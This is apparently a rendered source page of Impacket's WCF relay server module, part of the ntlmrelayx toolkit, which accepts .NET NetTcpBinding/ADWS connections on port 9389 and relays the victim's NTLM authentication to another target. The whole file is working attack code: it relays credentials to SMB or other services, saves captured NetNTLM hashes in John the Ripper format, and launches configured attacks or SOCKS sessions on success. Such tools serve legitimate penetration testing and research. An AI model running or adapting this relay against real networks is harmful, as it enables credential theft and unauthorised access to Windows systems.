Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# -*- coding: utf-8 -*- 

2# Impacket - Collection of Python classes for working with network protocols. 

3# 

4# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

5# 

6# This software is provided under a slightly modified version 

7# of the Apache Software License. See the accompanying LICENSE file 

8# for more information. 

9# 

10# Description: 

11# WCF Relay Server 

12# 

13# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols 

14# Only NetTcpBinding is supported! 

15# 

16# Author: 

17# Clément Notin (@cnotin) 

18# With code copied from smbrelayserver.py and httprelayserver.py authored by: 

19# Alberto Solino (@agsolino) 

20# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

21# 

22# References: 

23# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and 

24# ".NET NegotiateStream Protocol" [MS-NNS] 

25# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py 

26# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re 

27# 

28 

29import socket 

30import socketserver 

31import struct 

32from binascii import hexlify 

33from threading import Thread 

34 

35from six import PY2 

36 

37from impacket import ntlm, LOG 

38from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

39from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

40from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 

41from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 

42from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \ 

43 ASN1_SUPPORTED_MECH 

44 

45 

46class WCFRelayServer(Thread): 

47 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 

48 def __init__(self, server_address, request_handler_class, config): 

49 self.config = config 

50 self.daemon_threads = True 

51 if self.config.ipv6: 

52 self.address_family = socket.AF_INET6 

53 self.wpad_counters = {} 

54 socketserver.TCPServer.__init__(self, server_address, request_handler_class) 

55 

56 class WCFHandler(socketserver.BaseRequestHandler): 

57 def __init__(self, request, client_address, server): 

58 self.server = server 

59 self.challengeMessage = None 

60 self.target = None 

61 self.client = None 

62 self.machineAccount = None 

63 self.machineHashes = None 

64 self.domainIp = None 

65 self.authUser = None 

66 

67 if self.server.config.target is None: 

68 # Reflection mode, defaults to SMB at the target, for now 

69 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) 

70 self.target = self.server.config.target.getTarget() 

71 if self.target is None: 

72 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0]) 

73 return 

74 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % ( 

75 client_address[0], self.target.scheme, self.target.netloc)) 

76 

77 socketserver.BaseRequestHandler.__init__(self, request, client_address, server) 

78 

79 # recv from socket for exact 'length' (even if fragmented over several packets) 

80 def recvall(self, length): 

81 buf = b'' 

82 while not len(buf) == length: 

83 buf += self.request.recv(length - len(buf)) 

84 

85 if PY2: 

86 buf = bytearray(buf) 

87 return buf 

88 

89 def handle(self): 

90 version_code = self.recvall(1) 

91 if version_code != b'\x00': 

92 LOG.error("WCF: wrong VersionRecord code") 

93 return 

94 version = self.recvall(2) # should be \x01\x00 but we don't care 

95 if version != b'\x01\x00': 

96 LOG.error("WCF: wrong VersionRecord version") 

97 return 

98 

99 mode_code = self.recvall(1) 

100 if mode_code != b'\x01': 

101 LOG.error("WCF: wrong ModeRecord code") 

102 return 

103 mode = self.recvall(1) # we don't care 

104 

105 via_code = self.recvall(1) 

106 if via_code != b'\x02': 

107 LOG.error("WCF: wrong ViaRecord code") 

108 return 

109 via_len = self.recvall(1) 

110 via_len = struct.unpack("B", via_len)[0] 

111 via = self.recvall(via_len).decode("utf-8") 

112 

113 if not via.startswith("net.tcp://"): 

114 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. " 

115 "Only NetTcpBinding is currently supported!") 

116 return 

117 

118 known_encoding_code = self.recvall(1) 

119 if known_encoding_code != b'\x03': 

120 LOG.error("WCF: wrong KnownEncodingRecord code") 

121 return 

122 encoding = self.recvall(1) # we don't care 

123 

124 upgrade_code = self.recvall(1) 

125 if upgrade_code != b'\x09': 

126 LOG.error("WCF: wrong UpgradeRequestRecord code") 

127 return 

128 upgrade_len = self.recvall(1) 

129 upgrade_len = struct.unpack("B", upgrade_len)[0] 

130 upgrade = self.recvall(upgrade_len).decode("utf-8") 

131 

132 if upgrade != "application/negotiate": 

133 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!") 

134 return 

135 self.request.sendall(b'\x0a') 

136 

137 while True: 

138 handshake_in_progress = self.recvall(5) 

139 if not handshake_in_progress[0] == 0x16: 

140 LOG.error("WCF: Wrong handshake_in_progress message") 

141 return 

142 

143 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0] 

144 securityBlob = self.recvall(securityBlob_len) 

145 

146 rawNTLM = False 

147 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: 

148 # SPNEGO NEGOTIATE packet 

149 blob = SPNEGO_NegTokenInit(securityBlob) 

150 token = blob['MechToken'] 

151 if len(blob['MechTypes'][0]) > 0: 

152 # Is this GSSAPI NTLM or something else we don't support? 

153 mechType = blob['MechTypes'][0] 

154 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 

155 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 

156 # Nope, do we know it? 

157 if mechType in MechTypes: 

158 mechStr = MechTypes[mechType] 

159 else: 

160 mechStr = hexlify(mechType) 

161 LOG.error("Unsupported MechType '%s'" % mechStr) 

162 # We don't know the token, we answer back again saying 

163 # we just support NTLM. 

164 respToken = SPNEGO_NegTokenResp() 

165 respToken['NegState'] = b'\x03' # request-mic 

166 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

167 respToken = respToken.getData() 

168 

169 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b 

170 answer = b'\x16' # handshake_in_progress 

171 answer += b'\x01\x00' # version 

172 answer += struct.pack(">H", len(respToken)) # len 

173 answer += respToken 

174 

175 self.request.sendall(answer) 

176 

177 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

178 # SPNEGO AUTH packet 

179 blob = SPNEGO_NegTokenResp(securityBlob) 

180 token = blob['ResponseToken'] 

181 break 

182 else: 

183 # No GSSAPI stuff, raw NTLMSSP 

184 rawNTLM = True 

185 token = securityBlob 

186 break 

187 

188 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1 

189 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message") 

190 return 

191 

192 if not self.do_ntlm_negotiate(token): 

193 # Connection failed 

194 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', 

195 self.target.scheme, self.target.netloc) 

196 self.server.config.target.logTarget(self.target) 

197 return 

198 

199 # Calculate auth 

200 ntlmssp_challenge = self.challengeMessage.getData() 

201 

202 if not rawNTLM: 

203 # add SPNEGO wrapping 

204 respToken = SPNEGO_NegTokenResp() 

205 # accept-incomplete. We want more data 

206 respToken['NegState'] = b'\x01' 

207 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

208 

209 respToken['ResponseToken'] = ntlmssp_challenge 

210 ntlmssp_challenge = respToken.getData() 

211 

212 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b 

213 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge)) 

214 self.request.sendall(handshake_in_progress) 

215 self.request.sendall(ntlmssp_challenge) 

216 

217 handshake_done = self.recvall(5) 

218 

219 if handshake_done[0] == 0x15: 

220 error_len = struct.unpack(">H", handshake_done[3:5])[0] 

221 error_msg = self.recvall(error_len) 

222 hresult = hex(struct.unpack('>I', error_msg[4:8])[0]) 

223 LOG.error("WCF: Received handshake_error message: " + hresult) 

224 return 

225 

226 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0] 

227 ntlmssp_auth = self.recvall(ntlmssp_auth_len) 

228 

229 if not rawNTLM: 

230 # remove SPNEGO wrapping 

231 blob = SPNEGO_NegTokenResp(ntlmssp_auth) 

232 ntlmssp_auth = blob['ResponseToken'] 

233 

234 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3 

235 LOG.error("WCF: Wrong NTLMSSP_AUTH message") 

236 return 

237 

238 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

239 authenticateMessage.fromString(ntlmssp_auth) 

240 

241 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage): 

242 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

243 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

244 self.target.scheme, self.target.netloc, 

245 authenticateMessage['domain_name'].decode('utf-16le'), 

246 authenticateMessage['user_name'].decode('utf-16le'))) 

247 else: 

248 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

249 self.target.scheme, self.target.netloc, 

250 authenticateMessage['domain_name'].decode('ascii'), 

251 authenticateMessage['user_name'].decode('ascii'))) 

252 return 

253 

254 # Relay worked, do whatever we want here... 

255 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

256 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

257 self.target.scheme, self.target.netloc, 

258 authenticateMessage['domain_name'].decode('utf-16le'), 

259 authenticateMessage['user_name'].decode('utf-16le'))) 

260 else: 

261 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

262 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

263 authenticateMessage['user_name'].decode('ascii'))) 

264 

265 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 

266 authenticateMessage['user_name'], 

267 authenticateMessage['domain_name'], 

268 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

269 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

270 

271 if self.server.config.outputFile is not None: 

272 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

273 self.server.config.outputFile) 

274 

275 self.server.config.target.logTarget(self.target, True, self.authUser) 

276 

277 self.do_attack() 

278 

279 def do_ntlm_negotiate(self, token): 

280 if self.target.scheme.upper() in self.server.config.protocolClients: 

281 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, 

282 self.target) 

283 # If connection failed, return 

284 if not self.client.initConnection(): 

285 return False 

286 self.challengeMessage = self.client.sendNegotiate(token) 

287 

288 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE 

289 if self.server.config.remove_target: 

290 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) 

291 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] 

292 self.challengeMessage['TargetInfoFields'] = av_pairs.getData() 

293 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) 

294 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) 

295 

296 # Check for errors 

297 if self.challengeMessage is False: 

298 return False 

299 else: 

300 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) 

301 return False 

302 

303 return True 

304 

305 def do_ntlm_auth(self, token, authenticateMessage): 

306 # For some attacks it is important to know the authenticated username, so we store it 

307 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

308 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

309 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

310 else: 

311 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), 

312 authenticateMessage['user_name'].decode('ascii'))).upper() 

313 

314 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1': 

315 clientResponse, errorCode = self.client.sendAuth(token) 

316 else: 

317 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 

318 # when coming from localhost 

319 errorCode = STATUS_ACCESS_DENIED 

320 

321 if errorCode == STATUS_SUCCESS: 

322 return True 

323 

324 return False 

325 

326 def do_attack(self): 

327 # Check if SOCKS is enabled and if we support the target scheme 

328 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: 

329 # Pass all the data to the socksplugins proxy 

330 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), 

331 self.authUser, self.client, self.client.sessionData)) 

332 return 

333 

334 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

335 if self.target.scheme.upper() in self.server.config.attacks: 

336 # We have an attack.. go for it 

337 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, 

338 self.client.session, 

339 self.authUser) 

340 clientThread.start() 

341 else: 

342 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

343 

344 def __init__(self, config): 

345 Thread.__init__(self) 

346 self.daemon = True 

347 self.config = config 

348 self.server = None 

349 

350 def run(self): 

351 LOG.info("Setting up WCF Server") 

352 

353 if self.config.listeningPort: 

354 wcfport = self.config.listeningPort 

355 else: 

356 wcfport = 9389 # ADWS 

357 

358 # changed to read from the interfaceIP set in the configuration 

359 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config) 

360 

361 try: 

362 self.server.serve_forever() 

363 except KeyboardInterrupt: 

364 pass 

365 LOG.info('Shutting down WCF Server') 

366 self.server.server_close()